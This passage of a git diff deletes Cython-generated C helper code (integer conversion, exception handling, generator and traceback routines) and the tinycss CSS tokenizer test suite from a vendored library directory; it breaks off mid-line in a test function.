- return (signed char)val; - } - return (signed char)__Pyx_PyInt_AsSignedLong(x); -} - -static CYTHON_INLINE signed short __Pyx_PyInt_AsSignedShort(PyObject* x) { - const signed short neg_one = (signed short)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(signed short) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(signed short)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to signed short" : - "value too large to convert to signed short"); - } - return (signed short)-1; - } - return (signed short)val; - } - return (signed short)__Pyx_PyInt_AsSignedLong(x); -} - -static CYTHON_INLINE signed int __Pyx_PyInt_AsSignedInt(PyObject* x) { - const signed int neg_one = (signed int)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(signed int) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(signed int)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to signed int" : - "value too large to convert to signed int"); - } - return (signed int)-1; - } - return (signed int)val; - } - return (signed int)__Pyx_PyInt_AsSignedLong(x); -} - -static CYTHON_INLINE int __Pyx_PyInt_AsLongDouble(PyObject* x) { - const int neg_one = (int)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(int) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(int)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to int" : - "value too large to convert to int"); - } - return (int)-1; - } - return (int)val; - } - return (int)__Pyx_PyInt_AsLong(x); -} - -static CYTHON_INLINE unsigned long __Pyx_PyInt_AsUnsignedLong(PyObject* x) { - const unsigned long neg_one = (unsigned long)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; -#if PY_VERSION_HEX < 0x03000000 - if (likely(PyInt_Check(x))) { - long val = PyInt_AS_LONG(x); - if (is_unsigned && unlikely(val < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to unsigned long"); - return (unsigned long)-1; - } - return (unsigned long)val; - } else -#endif - if (likely(PyLong_Check(x))) { - if (is_unsigned) { - if (unlikely(Py_SIZE(x) < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to unsigned long"); - return (unsigned long)-1; - } - return (unsigned long)PyLong_AsUnsignedLong(x); - } else { - return (unsigned long)PyLong_AsLong(x); - } - } else { - unsigned long val; - PyObject *tmp = __Pyx_PyNumber_Int(x); - if (!tmp) return (unsigned long)-1; - val = __Pyx_PyInt_AsUnsignedLong(tmp); - Py_DECREF(tmp); - return val; - } -} - -static CYTHON_INLINE unsigned PY_LONG_LONG __Pyx_PyInt_AsUnsignedLongLong(PyObject* x) { - const unsigned PY_LONG_LONG neg_one = (unsigned PY_LONG_LONG)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; -#if PY_VERSION_HEX < 0x03000000 - if (likely(PyInt_Check(x))) { - long val = PyInt_AS_LONG(x); - if (is_unsigned && unlikely(val < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to unsigned PY_LONG_LONG"); - return (unsigned PY_LONG_LONG)-1; - } - return (unsigned PY_LONG_LONG)val; - } else -#endif - if (likely(PyLong_Check(x))) { - if (is_unsigned) { - if (unlikely(Py_SIZE(x) < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to unsigned PY_LONG_LONG"); - return (unsigned PY_LONG_LONG)-1; - } - return (unsigned PY_LONG_LONG)PyLong_AsUnsignedLongLong(x); - } else { - return (unsigned PY_LONG_LONG)PyLong_AsLongLong(x); - } - } else { - unsigned PY_LONG_LONG val; - PyObject *tmp = __Pyx_PyNumber_Int(x); - if (!tmp) return (unsigned PY_LONG_LONG)-1; - val = __Pyx_PyInt_AsUnsignedLongLong(tmp); - Py_DECREF(tmp); - return val; - } -} - -static CYTHON_INLINE long __Pyx_PyInt_AsLong(PyObject* x) { - const long neg_one = (long)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; -#if PY_VERSION_HEX < 0x03000000 - if (likely(PyInt_Check(x))) { - long val = PyInt_AS_LONG(x); - if (is_unsigned && unlikely(val < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to long"); - return (long)-1; - } - return (long)val; - } else -#endif - if (likely(PyLong_Check(x))) { - if (is_unsigned) { - if (unlikely(Py_SIZE(x) < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to long"); - return (long)-1; - } - return (long)PyLong_AsUnsignedLong(x); - } else { - return (long)PyLong_AsLong(x); - } - } else { - long val; - PyObject *tmp = __Pyx_PyNumber_Int(x); - if (!tmp) return (long)-1; - val = __Pyx_PyInt_AsLong(tmp); - Py_DECREF(tmp); - return val; - } -} - -static CYTHON_INLINE PY_LONG_LONG __Pyx_PyInt_AsLongLong(PyObject* x) { - const PY_LONG_LONG neg_one = (PY_LONG_LONG)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; -#if PY_VERSION_HEX < 0x03000000 - if (likely(PyInt_Check(x))) { - long val = PyInt_AS_LONG(x); - if (is_unsigned && unlikely(val < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to PY_LONG_LONG"); - return (PY_LONG_LONG)-1; - } - return (PY_LONG_LONG)val; - } else -#endif - if (likely(PyLong_Check(x))) { - if (is_unsigned) { - if (unlikely(Py_SIZE(x) < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to PY_LONG_LONG"); - return (PY_LONG_LONG)-1; - } - return (PY_LONG_LONG)PyLong_AsUnsignedLongLong(x); - } else { - return (PY_LONG_LONG)PyLong_AsLongLong(x); - } - } else { - PY_LONG_LONG val; - PyObject *tmp = __Pyx_PyNumber_Int(x); - if (!tmp) return (PY_LONG_LONG)-1; - val = __Pyx_PyInt_AsLongLong(tmp); - Py_DECREF(tmp); - return val; - } -} - -static CYTHON_INLINE signed long __Pyx_PyInt_AsSignedLong(PyObject* x) { - const signed long neg_one = (signed long)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; -#if PY_VERSION_HEX < 0x03000000 - if (likely(PyInt_Check(x))) { - long val = PyInt_AS_LONG(x); - if (is_unsigned && unlikely(val < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to signed long"); - return (signed long)-1; - } - return (signed long)val; - } else -#endif - if (likely(PyLong_Check(x))) { - if (is_unsigned) { - if (unlikely(Py_SIZE(x) < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to signed long"); - return (signed long)-1; - } - return (signed long)PyLong_AsUnsignedLong(x); - } else { - return (signed long)PyLong_AsLong(x); - } - } else { - signed long val; - PyObject *tmp = __Pyx_PyNumber_Int(x); - if (!tmp) return (signed long)-1; - val = __Pyx_PyInt_AsSignedLong(tmp); - Py_DECREF(tmp); - return val; - } -} - -static CYTHON_INLINE signed PY_LONG_LONG __Pyx_PyInt_AsSignedLongLong(PyObject* x) { - const signed PY_LONG_LONG neg_one = (signed PY_LONG_LONG)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; -#if PY_VERSION_HEX < 0x03000000 - if (likely(PyInt_Check(x))) { - long val = PyInt_AS_LONG(x); - if (is_unsigned && unlikely(val < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to signed PY_LONG_LONG"); - return (signed PY_LONG_LONG)-1; - } - return (signed PY_LONG_LONG)val; - } else -#endif - if (likely(PyLong_Check(x))) { - if (is_unsigned) { - if (unlikely(Py_SIZE(x) < 0)) { - PyErr_SetString(PyExc_OverflowError, - "can't convert negative value to signed PY_LONG_LONG"); - return (signed PY_LONG_LONG)-1; - } - return (signed PY_LONG_LONG)PyLong_AsUnsignedLongLong(x); - } else { - return (signed PY_LONG_LONG)PyLong_AsLongLong(x); - } - } else { - signed PY_LONG_LONG val; - PyObject *tmp = __Pyx_PyNumber_Int(x); - if (!tmp) return (signed PY_LONG_LONG)-1; - val = __Pyx_PyInt_AsSignedLongLong(tmp); - Py_DECREF(tmp); - return val; - } -} - -static CYTHON_INLINE void __Pyx_ErrRestore(PyObject *type, PyObject *value, PyObject *tb) { - PyObject *tmp_type, *tmp_value, *tmp_tb; - PyThreadState *tstate = PyThreadState_GET(); - - tmp_type = tstate->curexc_type; - tmp_value = tstate->curexc_value; - tmp_tb = tstate->curexc_traceback; - tstate->curexc_type = type; - tstate->curexc_value = value; - tstate->curexc_traceback = tb; - Py_XDECREF(tmp_type); - Py_XDECREF(tmp_value); - Py_XDECREF(tmp_tb); -} - -static CYTHON_INLINE void __Pyx_ErrFetch(PyObject **type, PyObject **value, PyObject **tb) { - PyThreadState *tstate = PyThreadState_GET(); - *type = tstate->curexc_type; - *value = tstate->curexc_value; - *tb = tstate->curexc_traceback; - - tstate->curexc_type = 0; - tstate->curexc_value = 0; - tstate->curexc_traceback = 0; -} - - -#if PY_MAJOR_VERSION < 3 -static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { - /* cause is unused */ - Py_XINCREF(type); - Py_XINCREF(value); - Py_XINCREF(tb); - /* First, check the traceback argument, replacing None with NULL. */ - if (tb == Py_None) { - Py_DECREF(tb); - tb = 0; - } - else if (tb != NULL && !PyTraceBack_Check(tb)) { - PyErr_SetString(PyExc_TypeError, - "raise: arg 3 must be a traceback or None"); - goto raise_error; - } - /* Next, replace a missing value with None */ - if (value == NULL) { - value = Py_None; - Py_INCREF(value); - } - #if PY_VERSION_HEX < 0x02050000 - if (!PyClass_Check(type)) - #else - if (!PyType_Check(type)) - #endif - { - /* Raising an instance. The value should be a dummy. */ - if (value != Py_None) { - PyErr_SetString(PyExc_TypeError, - "instance exception may not have a separate value"); - goto raise_error; - } - /* Normalize to raise , */ - Py_DECREF(value); - value = type; - #if PY_VERSION_HEX < 0x02050000 - if (PyInstance_Check(type)) { - type = (PyObject*) ((PyInstanceObject*)type)->in_class; - Py_INCREF(type); - } - else { - type = 0; - PyErr_SetString(PyExc_TypeError, - "raise: exception must be an old-style class or instance"); - goto raise_error; - } - #else - type = (PyObject*) Py_TYPE(type); - Py_INCREF(type); - if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { - PyErr_SetString(PyExc_TypeError, - "raise: exception class must be a subclass of BaseException"); - goto raise_error; - } - #endif - } - - __Pyx_ErrRestore(type, value, tb); - return; -raise_error: - Py_XDECREF(value); - Py_XDECREF(type); - Py_XDECREF(tb); - return; -} - -#else /* Python 3+ */ - -static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { - if (tb == Py_None) { - tb = 0; - } else if (tb && !PyTraceBack_Check(tb)) { - PyErr_SetString(PyExc_TypeError, - "raise: arg 3 must be a traceback or None"); - goto bad; - } - if (value == Py_None) - value = 0; - - if (PyExceptionInstance_Check(type)) { - if (value) { - PyErr_SetString(PyExc_TypeError, - "instance exception may not have a separate value"); - goto bad; - } - value = type; - type = (PyObject*) Py_TYPE(value); - } else if (!PyExceptionClass_Check(type)) { - PyErr_SetString(PyExc_TypeError, - "raise: exception class must be a subclass of BaseException"); - goto bad; - } - - if (cause) { - PyObject *fixed_cause; - if (PyExceptionClass_Check(cause)) { - fixed_cause = PyObject_CallObject(cause, NULL); - if (fixed_cause == NULL) - goto bad; - } - else if (PyExceptionInstance_Check(cause)) { - fixed_cause = cause; - Py_INCREF(fixed_cause); - } - else { - PyErr_SetString(PyExc_TypeError, - "exception causes must derive from " - "BaseException"); - goto bad; - } - if (!value) { - value = PyObject_CallObject(type, NULL); - } - PyException_SetCause(value, fixed_cause); - } - - PyErr_SetObject(type, value); - - if (tb) { - PyThreadState *tstate = PyThreadState_GET(); - PyObject* tmp_tb = tstate->curexc_traceback; - if (tb != tmp_tb) { - Py_INCREF(tb); - tstate->curexc_traceback = tb; - Py_XDECREF(tmp_tb); - } - } - -bad: - return; -} -#endif - -static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { - PyObject *tmp_type, *tmp_value, *tmp_tb; - PyThreadState *tstate = PyThreadState_GET(); - - tmp_type = tstate->exc_type; - tmp_value = tstate->exc_value; - tmp_tb = tstate->exc_traceback; - - tstate->exc_type = *type; - tstate->exc_value = *value; - tstate->exc_traceback = *tb; - - *type = tmp_type; - *value = tmp_value; - *tb = tmp_tb; -} - -static CYTHON_INLINE void __Pyx_Generator_ExceptionClear(struct __pyx_Generator_object *self) -{ - Py_XDECREF(self->exc_type); - Py_XDECREF(self->exc_value); - Py_XDECREF(self->exc_traceback); - - self->exc_type = NULL; - self->exc_value = NULL; - self->exc_traceback = NULL; -} - -static CYTHON_INLINE PyObject *__Pyx_Generator_SendEx(struct __pyx_Generator_object *self, PyObject *value) -{ - PyObject *retval; - - if (self->is_running) { - PyErr_SetString(PyExc_ValueError, - "generator already executing"); - return NULL; - } - - if (self->resume_label == 0) { - if (value && value != Py_None) { - PyErr_SetString(PyExc_TypeError, - "can't send non-None value to a " - "just-started generator"); - return NULL; - } - } - - if (self->resume_label == -1) { - PyErr_SetNone(PyExc_StopIteration); - return NULL; - } - - - if (value) - __Pyx_ExceptionSwap(&self->exc_type, &self->exc_value, &self->exc_traceback); - else - __Pyx_Generator_ExceptionClear(self); - - self->is_running = 1; - retval = self->body((PyObject *) self, value); - self->is_running = 0; - - if (retval) - __Pyx_ExceptionSwap(&self->exc_type, &self->exc_value, &self->exc_traceback); - else - __Pyx_Generator_ExceptionClear(self); - - return retval; -} - -static PyObject *__Pyx_Generator_Next(PyObject *self) -{ - return __Pyx_Generator_SendEx((struct __pyx_Generator_object *) self, Py_None); -} - -static PyObject *__Pyx_Generator_Send(PyObject *self, PyObject *value) -{ - return __Pyx_Generator_SendEx((struct __pyx_Generator_object *) self, value); -} - -static PyObject *__Pyx_Generator_Close(PyObject *self) -{ - struct __pyx_Generator_object *generator = (struct __pyx_Generator_object *) self; - PyObject *retval; -#if PY_VERSION_HEX < 0x02050000 - PyErr_SetNone(PyExc_StopIteration); -#else - PyErr_SetNone(PyExc_GeneratorExit); -#endif - retval = __Pyx_Generator_SendEx(generator, NULL); - if (retval) { - Py_DECREF(retval); - PyErr_SetString(PyExc_RuntimeError, - "generator ignored GeneratorExit"); - return NULL; - } -#if PY_VERSION_HEX < 0x02050000 - if (PyErr_ExceptionMatches(PyExc_StopIteration)) -#else - if (PyErr_ExceptionMatches(PyExc_StopIteration) - || PyErr_ExceptionMatches(PyExc_GeneratorExit)) -#endif - { - PyErr_Clear(); /* ignore these errors */ - Py_INCREF(Py_None); - return Py_None; - } - return NULL; -} - -static PyObject *__Pyx_Generator_Throw(PyObject *self, PyObject *args, CYTHON_UNUSED PyObject *kwds) -{ - struct __pyx_Generator_object *generator = (struct __pyx_Generator_object *) self; - PyObject *typ; - PyObject *tb = NULL; - PyObject *val = NULL; - - if (!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb)) - return NULL; - __Pyx_Raise(typ, val, tb, NULL); - return __Pyx_Generator_SendEx(generator, NULL); -} - -static int __Pyx_check_binary_version(void) { - char ctversion[4], rtversion[4]; - PyOS_snprintf(ctversion, 4, "%d.%d", PY_MAJOR_VERSION, PY_MINOR_VERSION); - PyOS_snprintf(rtversion, 4, "%s", Py_GetVersion()); - if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) { - char message[200]; - PyOS_snprintf(message, sizeof(message), - "compiletime version %s of module '%.100s' " - "does not match runtime version %s", - ctversion, __Pyx_MODULE_NAME, rtversion); - #if PY_VERSION_HEX < 0x02050000 - return PyErr_Warn(NULL, message); - #else - return PyErr_WarnEx(NULL, message, 1); - #endif - } - return 0; -} - -#include "compile.h" -#include "frameobject.h" -#include "traceback.h" - -static void __Pyx_AddTraceback(const char *funcname, int __pyx_clineno, - int __pyx_lineno, const char *__pyx_filename) { - PyObject *py_srcfile = 0; - PyObject *py_funcname = 0; - PyObject *py_globals = 0; - PyCodeObject *py_code = 0; - PyFrameObject *py_frame = 0; - - #if PY_MAJOR_VERSION < 3 - py_srcfile = PyString_FromString(__pyx_filename); - #else - py_srcfile = PyUnicode_FromString(__pyx_filename); - #endif - if (!py_srcfile) goto bad; - if (__pyx_clineno) { - #if PY_MAJOR_VERSION < 3 - py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, __pyx_clineno); - #else - py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, __pyx_clineno); - #endif - } - else { - #if PY_MAJOR_VERSION < 3 - py_funcname = PyString_FromString(funcname); - #else - py_funcname = PyUnicode_FromString(funcname); - #endif - } - if (!py_funcname) goto bad; - py_globals = PyModule_GetDict(__pyx_m); - if (!py_globals) goto bad; - py_code = PyCode_New( - 0, /*int argcount,*/ - #if PY_MAJOR_VERSION >= 3 - 0, /*int kwonlyargcount,*/ - #endif - 0, /*int nlocals,*/ - 0, /*int stacksize,*/ - 0, /*int flags,*/ - __pyx_empty_bytes, /*PyObject *code,*/ - __pyx_empty_tuple, /*PyObject *consts,*/ - __pyx_empty_tuple, /*PyObject *names,*/ - __pyx_empty_tuple, /*PyObject *varnames,*/ - __pyx_empty_tuple, /*PyObject *freevars,*/ - __pyx_empty_tuple, /*PyObject *cellvars,*/ - py_srcfile, /*PyObject *filename,*/ - py_funcname, /*PyObject *name,*/ - __pyx_lineno, /*int firstlineno,*/ - __pyx_empty_bytes /*PyObject *lnotab*/ - ); - if (!py_code) goto bad; - py_frame = PyFrame_New( - PyThreadState_GET(), /*PyThreadState *tstate,*/ - py_code, /*PyCodeObject *code,*/ - py_globals, /*PyObject *globals,*/ - 0 /*PyObject *locals*/ - ); - if (!py_frame) goto bad; - py_frame->f_lineno = __pyx_lineno; - PyTraceBack_Here(py_frame); -bad: - Py_XDECREF(py_srcfile); - Py_XDECREF(py_funcname); - Py_XDECREF(py_code); - Py_XDECREF(py_frame); -} - -static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { - while (t->p) { - #if PY_MAJOR_VERSION < 3 - if (t->is_unicode) { - *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); - } else if (t->intern) { - *t->p = PyString_InternFromString(t->s); - } else { - *t->p = PyString_FromStringAndSize(t->s, t->n - 1); - } - #else /* Python 3+ has unicode identifiers */ - if (t->is_unicode | t->is_str) { - if (t->intern) { - *t->p = PyUnicode_InternFromString(t->s); - } else if (t->encoding) { - *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL); - } else { - *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1); - } - } else { - *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1); - } - #endif - if (!*t->p) - return -1; - ++t; - } - return 0; -} - -/* Type Conversion Functions */ - -static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { - int is_true = x == Py_True; - if (is_true | (x == Py_False) | (x == Py_None)) return is_true; - else return PyObject_IsTrue(x); -} - -static CYTHON_INLINE PyObject* __Pyx_PyNumber_Int(PyObject* x) { - PyNumberMethods *m; - const char *name = NULL; - PyObject *res = NULL; -#if PY_VERSION_HEX < 0x03000000 - if (PyInt_Check(x) || PyLong_Check(x)) -#else - if (PyLong_Check(x)) -#endif - return Py_INCREF(x), x; - m = Py_TYPE(x)->tp_as_number; -#if PY_VERSION_HEX < 0x03000000 - if (m && m->nb_int) { - name = "int"; - res = PyNumber_Int(x); - } - else if (m && m->nb_long) { - name = "long"; - res = PyNumber_Long(x); - } -#else - if (m && m->nb_int) { - name = "int"; - res = PyNumber_Long(x); - } -#endif - if (res) { -#if PY_VERSION_HEX < 0x03000000 - if (!PyInt_Check(res) && !PyLong_Check(res)) { -#else - if (!PyLong_Check(res)) { -#endif - PyErr_Format(PyExc_TypeError, - "__%s__ returned non-%s (type %.200s)", - name, name, Py_TYPE(res)->tp_name); - Py_DECREF(res); - return NULL; - } - } - else if (!PyErr_Occurred()) { - PyErr_SetString(PyExc_TypeError, - "an integer is required"); - } - return res; -} - -static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { - Py_ssize_t ival; - PyObject* x = PyNumber_Index(b); - if (!x) return -1; - ival = PyInt_AsSsize_t(x); - Py_DECREF(x); - return ival; -} - -static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { -#if PY_VERSION_HEX < 0x02050000 - if (ival <= LONG_MAX) - return PyInt_FromLong((long)ival); - else { - unsigned char *bytes = (unsigned char *) &ival; - int one = 1; int little = (int)*(unsigned char*)&one; - return _PyLong_FromByteArray(bytes, sizeof(size_t), little, 0); - } -#else - return PyInt_FromSize_t(ival); -#endif -} - -static CYTHON_INLINE size_t __Pyx_PyInt_AsSize_t(PyObject* x) { - unsigned PY_LONG_LONG val = __Pyx_PyInt_AsUnsignedLongLong(x); - if (unlikely(val == (unsigned PY_LONG_LONG)-1 && PyErr_Occurred())) { - return (size_t)-1; - } else if (unlikely(val != (unsigned PY_LONG_LONG)(size_t)val)) { - PyErr_SetString(PyExc_OverflowError, - "value too large to convert to size_t"); - return (size_t)-1; - } - return (size_t)val; -} - - -#endif /* Py_PYTHON_H */ diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/test_tokenizer.py b/PortalAuth/includes/scripts/libs/tinycss/tests/test_tokenizer.py deleted file mode 100755 index 8ad6c59..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/tests/test_tokenizer.py +++ /dev/null @@ -1,310 +0,0 @@ -# coding: utf8 -""" - Tests for the tokenizer - ----------------------- - - :copyright: (c) 2012 by Simon Sapin. - :license: BSD, see LICENSE for more details. -""" - - -from __future__ import unicode_literals - -import sys -import os - -import pytest - -from tinycss.tokenizer import ( - python_tokenize_flat, cython_tokenize_flat, regroup) - - -def test_speedups(): - if os.environ.get('TINYCSS_SKIP_SPEEDUPS_TESTS'): # pragma: no cover - return - assert cython_tokenize_flat is not None, ( - 'Cython speedups are not installed, related tests will ' - 'be skipped. Set the TINYCSS_SKIP_SPEEDUPS_TESTS environment ' - 'variable if this is expected (eg. on PyPy).') - - -@pytest.mark.parametrize(('tokenize', 'css_source', 'expected_tokens'), [ - (tokenize,) + test_data - for tokenize in (python_tokenize_flat, cython_tokenize_flat) - for test_data in [ - ('', []), - ('red -->', - [('IDENT', 'red'), ('S', ' '), ('CDC', '-->')]), - # Longest match rule: no CDC - ('red-->', - [('IDENT', 'red--'), ('DELIM', '>')]), - - (r'''p[example="\ -foo(int x) {\ - this.x = x;\ -}\ -"]''', [ - ('IDENT', 'p'), - ('[', '['), - ('IDENT', 'example'), - ('DELIM', '='), - ('STRING', 'foo(int x) { this.x = x;}'), - (']', ']')]), - - #### Numbers are parsed - ('42 .5 -4pX 1.25em 30%', - [('INTEGER', 42), ('S', ' '), - ('NUMBER', .5), ('S', ' '), - # units are normalized to lower-case: - ('DIMENSION', -4, 'px'), ('S', ' '), - ('DIMENSION', 1.25, 'em'), ('S', ' '), - ('PERCENTAGE', 30, '%')]), - - #### URLs are extracted - ('url(foo.png)', [('URI', 'foo.png')]), - ('url("foo.png")', [('URI', 'foo.png')]), - - #### Escaping - - (r'/* Comment with a \ backslash */', - [('COMMENT', '/* Comment with a \ backslash */')]), # Unchanged - - # backslash followed by a newline in a string: ignored - ('"Lorem\\\nIpsum"', [('STRING', 'LoremIpsum')]), - - # backslash followed by a newline outside a string: stands for itself - ('Lorem\\\nIpsum', [ - ('IDENT', 'Lorem'), ('DELIM', '\\'), - ('S', '\n'), ('IDENT', 'Ipsum')]), - - # Cancel the meaning of special characters - (r'"Lore\m Ipsum"', [('STRING', 'Lorem Ipsum')]), # or not specal - (r'"Lorem \49psum"', [('STRING', 'Lorem Ipsum')]), - (r'"Lorem \49 psum"', [('STRING', 'Lorem Ipsum')]), - (r'"Lorem\"Ipsum"', [('STRING', 'Lorem"Ipsum')]), - (r'"Lorem\\Ipsum"', [('STRING', r'Lorem\Ipsum')]), - (r'"Lorem\5c Ipsum"', [('STRING', r'Lorem\Ipsum')]), - (r'Lorem\+Ipsum', [('IDENT', 'Lorem+Ipsum')]), - (r'Lorem+Ipsum', [('IDENT', 'Lorem'), ('DELIM', '+'), ('IDENT', 'Ipsum')]), - (r'url(foo\).png)', [('URI', 'foo).png')]), - - # Unicode and backslash escaping - ('\\26 B', [('IDENT', '&B')]), - ('\\&B', [('IDENT', '&B')]), - ('@\\26\tB', [('ATKEYWORD', '@&B')]), - ('@\\&B', [('ATKEYWORD', '@&B')]), - ('#\\26\nB', [('HASH', '#&B')]), - ('#\\&B', [('HASH', '#&B')]), - ('\\26\r\nB(', [('FUNCTION', '&B(')]), - ('\\&B(', [('FUNCTION', '&B(')]), - (r'12.5\000026B', [('DIMENSION', 12.5, '&b')]), - (r'12.5\0000263B', [('DIMENSION', 12.5, '&3b')]), # max 6 digits - (r'12.5\&B', [('DIMENSION', 12.5, '&b')]), - (r'"\26 B"', [('STRING', '&B')]), - (r"'\000026B'", [('STRING', '&B')]), - (r'"\&B"', [('STRING', '&B')]), - (r'url("\26 B")', [('URI', '&B')]), - (r'url(\26 B)', [('URI', '&B')]), - (r'url("\&B")', [('URI', '&B')]), - (r'url(\&B)', [('URI', '&B')]), - (r'Lorem\110000Ipsum', [('IDENT', 'Lorem\uFFFDIpsum')]), - - #### Bad strings - - # String ends at EOF without closing: no error, parsed - ('"Lorem\\26Ipsum', [('STRING', 'Lorem&Ipsum')]), - # Unescaped newline: ends the string, error, unparsed - ('"Lorem\\26Ipsum\n', [ - ('BAD_STRING', r'"Lorem\26Ipsum'), ('S', '\n')]), - # Tokenization restarts after the newline, so the second " starts - # a new string (which ends at EOF without errors, as above.) - ('"Lorem\\26Ipsum\ndolor" sit', [ - ('BAD_STRING', r'"Lorem\26Ipsum'), ('S', '\n'), - ('IDENT', 'dolor'), ('STRING', ' sit')]), - -]]) -def test_tokens(tokenize, css_source, expected_tokens): - if tokenize is None: # pragma: no cover - pytest.skip('Speedups not available') - sources = [css_source] - if sys.version_info[0] < 3: - # On Python 2.x, ASCII-only bytestrings can be used - # where Unicode is expected. - sources.append(css_source.encode('ascii')) - for css_source in sources: - tokens = tokenize(css_source, ignore_comments=False) - result = [ - (token.type, token.value) + ( - () if token.unit is None else (token.unit,)) - for token in tokens - ] - assert result == expected_tokens - - -@pytest.mark.parametrize('tokenize', [ - python_tokenize_flat, cython_tokenize_flat]) -def test_positions(tokenize): - """Test the reported line/column position of each token.""" - if tokenize is None: # pragma: no cover - pytest.skip('Speedups not available') - css = '/* Lorem\nipsum */\fa {\n color: red;\tcontent: "dolor\\\fsit" }' - tokens = tokenize(css, ignore_comments=False) - result = [(token.type, token.line, token.column) for token in tokens] - assert result == [ - ('COMMENT', 1, 1), ('S', 2, 9), - ('IDENT', 3, 1), ('S', 3, 2), ('{', 3, 3), - ('S', 3, 4), ('IDENT', 4, 5), (':', 4, 10), - ('S', 4, 11), ('IDENT', 4, 12), (';', 4, 15), ('S', 4, 16), - ('IDENT', 4, 17), (':', 4, 24), ('S', 4, 25), ('STRING', 4, 26), - ('S', 5, 5), ('}', 5, 6)] - - -@pytest.mark.parametrize(('tokenize', 'css_source', 'expected_tokens'), [ - (tokenize,) + test_data - for tokenize in (python_tokenize_flat, cython_tokenize_flat) - for test_data in [ - ('', []), - (r'Lorem\26 "i\psum"4px', [ - ('IDENT', 'Lorem&'), ('STRING', 'ipsum'), ('DIMENSION', 4)]), - - ('not([[lorem]]{ipsum (42)})', [ - ('FUNCTION', 'not', [ - ('[', [ - ('[', [ - ('IDENT', 'lorem'), - ]), - ]), - ('{', [ - ('IDENT', 'ipsum'), - ('S', ' '), - ('(', [ - ('INTEGER', 42), - ]) - ]) - ])]), - - # Close everything at EOF, no error - ('a[b{"d', [ - ('IDENT', 'a'), - ('[', [ - ('IDENT', 'b'), - ('{', [ - ('STRING', 'd'), - ]), - ]), - ]), - - # Any remaining ), ] or } token is a nesting error - ('a[b{d]e}', [ - ('IDENT', 'a'), - ('[', [ - ('IDENT', 'b'), - ('{', [ - ('IDENT', 'd'), - (']', ']'), # The error is visible here - ('IDENT', 'e'), - ]), - ]), - ]), - # ref: - ('a[b{d}e]', [ - ('IDENT', 'a'), - ('[', [ - ('IDENT', 'b'), - ('{', [ - ('IDENT', 'd'), - ]), - ('IDENT', 'e'), - ]), - ]), -]]) -def test_token_grouping(tokenize, css_source, expected_tokens): - if tokenize is None: # pragma: no cover - pytest.skip('Speedups not available') - tokens = regroup(tokenize(css_source, ignore_comments=False)) - result = list(jsonify(tokens)) - assert result == expected_tokens - - -def jsonify(tokens): - """Turn tokens into "JSON-compatible" data structures.""" - for token in tokens: - if token.type == 'FUNCTION': - yield (token.type, token.function_name, - list(jsonify(token.content))) - elif token.is_container: - yield token.type, list(jsonify(token.content)) - else: - yield token.type, token.value - - -@pytest.mark.parametrize(('tokenize', 'ignore_comments', 'expected_tokens'), [ - (tokenize,) + test_data - for tokenize in (python_tokenize_flat, cython_tokenize_flat) - for test_data in [ - (False, [ - ('COMMENT', '/* lorem */'), - ('S', ' '), - ('IDENT', 'ipsum'), - ('[', [ - ('IDENT', 'dolor'), - ('COMMENT', '/* sit */'), - ]), - ('BAD_COMMENT', '/* amet') - ]), - (True, [ - ('S', ' '), - ('IDENT', 'ipsum'), - ('[', [ - ('IDENT', 'dolor'), - ]), - ]), -]]) -def test_comments(tokenize, ignore_comments, expected_tokens): - if tokenize is None: # pragma: no cover - pytest.skip('Speedups 